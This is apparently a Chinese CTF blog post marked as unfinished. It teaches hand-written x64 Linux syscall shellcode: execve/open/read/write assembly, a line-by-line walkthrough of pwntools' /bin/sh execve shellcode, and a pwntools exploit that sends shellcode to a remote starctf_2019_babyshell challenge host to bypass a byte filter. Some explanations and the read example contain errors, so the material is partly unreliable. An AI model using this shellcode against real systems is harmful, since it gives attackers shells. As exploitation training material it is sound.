PWN:手动编写 x64 基于syscall 的 shell code(TODO)

syscall

在AMD64架构(也称为x86-64或x64)下,使用 syscall 指令来进行系统调用的约定如下:

  1. 系统调用号:存储在 RAX 寄存器中。
  2. 参数传递
    • 第一个参数:RDI
    • 第二个参数:RSI
    • 第三个参数:RDX
    • 第四个参数:R10
    • 第五个参数:R8
    • 第六个参数:R9
  3. 返回值:系统调用的返回值存储在 RAX 寄存器中。
  4. 调用约定
    • 调用 syscall 指令之前,需要将系统调用号和参数传递到相应的寄存器。
    • 调用 syscall 指令后,返回值会存储在 RAX 寄存器中。
    • RCXR11 寄存器的值会被 syscall 指令破坏,因此调用者需要保存这两个寄存器的值(如果需要)。

execve

execve 的原型如下:

int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename:要执行的文件名(路径)。
  • argv:一个字符串数组,包含传递给程序的命令行参数。数组的最后一个元素必须是 NULL
  • envp:一个字符串数组,包含环境变量。数组的最后一个元素也必须是 NULL
section .data
    filename db '/bin/ls', 0         ; 要执行的程序
    argv db '/bin/ls', 0             ; argv[0]
         db '-l', 0                   ; argv[1]
         db 0                         ; argv数组结束
    envp db 0                        ; 环境变量数组结束

section .text
    global _start

_start:
    ; 设置参数
    mov rax, 59                  ; syscall: execve (59)
    mov rdi, filename            ; filename
    mov rsi, argv                ; argv
    mov rdx, envp                ; envp
    syscall                       ; 调用内核

    ; 如果 execve 失败
    mov rax, 60                  ; syscall: exit (60)
    xor rdi, rdi                 ; exit code 0
    syscall                       ; 调用内核

open

open 系统调用用于打开文件并返回一个文件描述符。其原型如下:

int open(const char *pathname, int flags, mode_t mode);

主要参数

  • pathname:要打开的文件的路径。
  • flags:打开文件的标志,例如 O_RDONLY, O_WRONLY, O_RDWR 等。
  • mode:文件的访问权限(在创建文件时使用),通常与 flags 一起传递。对于只读或只写操作,可以传递 0

在 x86-64 Linux 中,open 的系统调用号是 2

下面是一个用汇编语言编写的示例,展示如何在 x86-64 Linux 中使用 syscall 调用 open

section .data
    filename db '/tmp/testfile.txt', 0 ; 要打开的文件名
    flags db 0x0                         ; O_RDONLY
    mode db 0                             ; 只读模式,不需要

section .text
    global _start

_start:
    ; 设置参数
    mov rax, 2                ; syscall: open (2)
    mov rdi, filename         ; pathname
    mov rsi, 0                ; flags: O_RDONLY
    mov rdx, 0                ; mode: 不使用
    syscall                   ; 调用内核

    ; 返回值在 rax 中,检查是否成功
    test rax, rax             ; 检查文件描述符是否有效
    js open_failed            ; 如果 rax < 0,跳转到失败处理

    ; 这里可以继续使用打开的文件描述符
    ; 例如,使用它进行读取等操作

    ; 关闭文件描述符
    mov rdi, rax              ; 将文件描述符移动到 rdi
    mov rax, 3                ; syscall: close (3)
    syscall                   ; 调用内核

    ; 正常退出
    mov rax, 60               ; syscall: exit (60)
    xor rdi, rdi              ; exit code 0
    syscall                   ; 调用内核

open_failed:
    ; 处理打开文件失败的情况
    mov rax, 60               ; syscall: exit (60)
    mov rdi, 1                ; exit code 1
    syscall                   ; 调用内核

read

在 x86-64 架构下,使用 syscall 指令进行 read 系统调用的步骤与其他系统调用类似。read 系统调用用于从文件描述符中读取数据。其原型如下:

ssize_t read(int fd, void *buf, size_t count);

主要参数

  • fd:文件描述符,从中读取数据。
  • buf:指向用于存储读取数据的缓冲区的指针。
  • count:要读取的字节数。

在 x86-64 Linux 中,read 的系统调用号是 0

section .bss
    buffer resb 128            ; 为输入缓冲区分配128字节

section .text
    global _start

_start:
    ; 从标准输入读取数据
    mov rax, 0                 ; syscall: read (0)
    mov rdi, 0                 ; fd: 0 (stdin)
    mov rsi, buffer            ; buf: 指向输入缓冲区
    mov rdx, 128               ; count: 要读取的字节数
    syscall                    ; 调用内核

    ; 将读取的数据写入到标准输出
    mov rax, 1                 ; syscall: write (1)
    mov rdi, 1                 ; fd: 1 (stdout)
    mov rsi, buffer            ; buf: 指向输入缓冲区
    mov rdx, rax               ; count: 使用上一个 sysread 返回的字节数
    syscall                    ; 调用内核

    ; 正常退出
    mov rax, 60                ; syscall: exit (60)
    xor rdi, rdi               ; exit code 0
    syscall                    ; 调用内核

write

在 x86-64 架构下,使用 syscall 指令进行 write 系统调用的步骤与其他系统调用类似。write 系统调用用于向文件描述符中写入数据。其原型如下:

ssize_t write(int fd, const void *buf, size_t count);

主要参数

  • fd:文件描述符,指定要写入的文件。
  • buf:指向要写入的数据的指针。
  • count:要写入的字节数。

在 x86-64 Linux 中,write 的系统调用号是 1

section .data
    message db 'Hello, world!', 0xA  ; 要写入的消息,0xA 是换行符
    message_len equ $ - message        ; 计算消息的长度

section .text
    global _start

_start:
    ; 设置参数
    mov rax, 1                  ; syscall: write (1)
    mov rdi, 1                  ; fd: 1 (stdout)
    mov rsi, message            ; buf: 指向要写入的消息
    mov rdx, message_len        ; count: 消息的长度
    syscall                     ; 调用内核

    ; 正常退出
    mov rax, 60                 ; syscall: exit (60)
    xor rdi, rdi                ; exit code 0
    syscall                     ; 调用内核

pwntools 提供的标准 execve shellcod

    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

1. 准备路径字符串 /bin///sh

/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
  • mov rax, 0x732f2f2f6e69622f:将 /bin///sh 的字节表示 0x732f2f2f6e69622f 加载到 rax 寄存器中。这个 64 位值包含了字符串 /bin///sh。由于在路径中有多个连续的 /,这并不影响路径的正确性,Linux 会将多个 / 视为一个。
  • push rax:将 rax 中的字符串压入栈中。
  • mov rdi, rsp:将栈顶的地址(即 /bin///sh 字符串的地址)存入 rdi 寄存器。rdi 寄存器是 execve 系统调用的第一个参数,它指向要执行的文件路径。

2. 准备参数数组 ['sh']

/* push argument array ['sh\x00'] */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
  • push 0x1010101 ^ 0x6873:这行代码是为了构建字符串 'sh\x00'0x6873'sh' 的 ASCII 码(在小端序下是 0x7368)。通过异或运算 0x1010101 ^ 0x6873 生成一个特定的字节值。
  • xor dword ptr [rsp], 0x1010101:接下来,它通过异或运算将 'sh\x00' 写入栈中,确保栈上的数据最终形成一个 null 终止的字符串 'sh\x00'

3. 添加空指针作为参数的结束标志:

xor esi, esi /* 0 */
push rsi /* null terminate */
  • xor esi, esi:将 esi 寄存器清零,esi 现在为 0
  • push rsi:将 0(即 NULL)推入栈中,表示参数数组的结束(argv 数组的最后一个元素是 NULL,表示没有更多的参数)。

4. 设置 argv 数组的地址:

push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
  • push 8:将 8 压入栈中,它是参数数组的长度(即 'sh\x00' 字符串占 8 字节)。
  • pop rsi:将 8 从栈中弹出并存入 rsi 寄存器。
  • add rsi, rsp:将 rsi 设置为栈顶加上偏移量 8,实际上是指向参数数组的地址(即 'sh\x00' 字符串的地址)。
  • push rsi:将参数数组的地址压入栈中。
  • mov rsi, rsp:将栈顶的地址(即 argv 数组的地址)存入 rsi 寄存器,rsi 作为 execve 的第二个参数。

5. 清空 envp(环境变量):

xor edx, edx /* 0 */
  • xor edx, edx:将 edx 清零,表示 envpNULL,即不传递任何环境变量给新的进程。

6. 调用 execve

/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
  • push SYS_execve:将 execve 系统调用的编号(0x3b,或 59)压入栈中。
  • pop rax:将系统调用号(0x3b)弹出到 rax 寄存器,raxsyscall 指令的调用号寄存器。
  • syscall:触发系统调用。此时,rax 寄存器保存的是 execve 系统调用的编号,rdi 存储的是要执行的路径 /bin///shrsi 存储的是参数数组 ['sh']rdx 存储的是环境变量(此处为 NULL)。

shellcode滑板

这些特殊的机器码能在特定情况发挥作用

00 40 00                 add    BYTE PTR [rax+0x0],  al
00 41 00                 add    BYTE PTR [rcx+0x0],  al
00 42 00                 add    BYTE PTR [rdx+0x0],  al
00 43 00                 add    BYTE PTR [rbx+0x0],  al
00 45 00                 add    BYTE PTR [rbp+0x0],  al
00 46 00                 add    BYTE PTR [rsi+0x0],  al
00 47 00                 add    BYTE PTR [rdi+0x0],  al

考虑以下代码starctf_2019_babyshell

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _BYTE *buf; // [rsp+0h] [rbp-10h]

  sub_4007F8(a1, a2, a3);
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  puts("give me shellcode, plz:");
  read(0, buf, 0x200uLL);
  if ( !(unsigned int)sub_400786(buf) )
  {
    printf("wrong shellcode!");
    exit(0);
  }
  ((void (*)(void))buf)();
  return 0LL;
}
__int64 __fastcall sub_400786(_BYTE *a1)
{
  char *i; // [rsp+18h] [rbp-10h]

  while ( *a1 )
  {
    for ( i = &byte_400978; *i && *i != *a1; ++i )
      ;
    if ( !*i )
      return 0LL;
    ++a1;
  }
  return 1LL;
}
from pwn import *

io = remote('node5.buuoj.cn', 29104)

context(arch='amd64', os='linux', log_level='debug')

shellcode = asm(shellcraft.sh())

shellcode = b'\x00\x5a\x00' + shellcode

io.sendline(shellcode)

io.interactive()

仅白名单/存在黑名单编写 shell code

提取byte_400978获得允许列表

[0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A, 0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69, 0x74, 0x21, 0x0A]

编写fuzz查看被禁止的语句

from pwn import *  
  
# 设置架构为 amd64context.arch = 'amd64'  
  
# 定义允许的字节列表  
allow_list = [  
    0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20,  
    0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65,  
    0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20,  
    0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A,  
    0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69,  
    0x74, 0x21, 0x0A  
]  
  
# 将 allow_list 中的每个字节转换为字节对象  
for i in range(len(allow_list)):  
    allow_list[i] = allow_list[i].to_bytes(1, byteorder='little')  
  
# 打印 allow_list 内容  
print(allow_list)  
  
# 定义原始 shellcode 字符串  
shellcode = """  
push 0x68  
mov rax, 0x732f2f2f6e69622f  
push rax  
mov rdi, rsp  
push 0x1010101 ^ 0x6873  
xor dword ptr [rsp], 0x1010101  
xor esi, esi  
push rsi  
push 8  
pop rsi  
add rsi, rsp  
push rsi  
mov rsi, rsp  
xor edx, edx  
push SYS_execve  
pop rax  
syscall  
"""  
  
# 删除注释并拆为多行  
shellcode = shellcode.splitlines()  
  
# 检查所有字节码是否在允许名单中, 如果不在则输出  
for i in range(1, len(shellcode)):  # 从第1行开始,因为第0行是空的  
    # 将 shellcode 中的每行汇编代码转为机器码(字节码)  
    cmp = asm(shellcode[i])  
  
    # 对每个字节码进行检查  
    for f in cmp:  
        all_pass = True  
        found = False  # 标记是否找到了符合要求的字节  
        for j in allow_list:  
            if f == j:  # 如果字节在允许列表中  
                found = True  
                break        if not found:  # 如果字节不在允许列表中,输出该字节  
            all_pass = False  
            print(f"\033[91m{shellcode[i]}语句中的 字节 {hex(f)} 不在允许名单中.\033[0m")  
  
    if all_pass is True:  
        print(f'\033[92m{shellcode[i]} 语句通过\033[0m')

成功得到一片红(思路错了我以为这是手写shellcode,先这部分先搁置,等遇到题再写,这道题是遇0停止)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值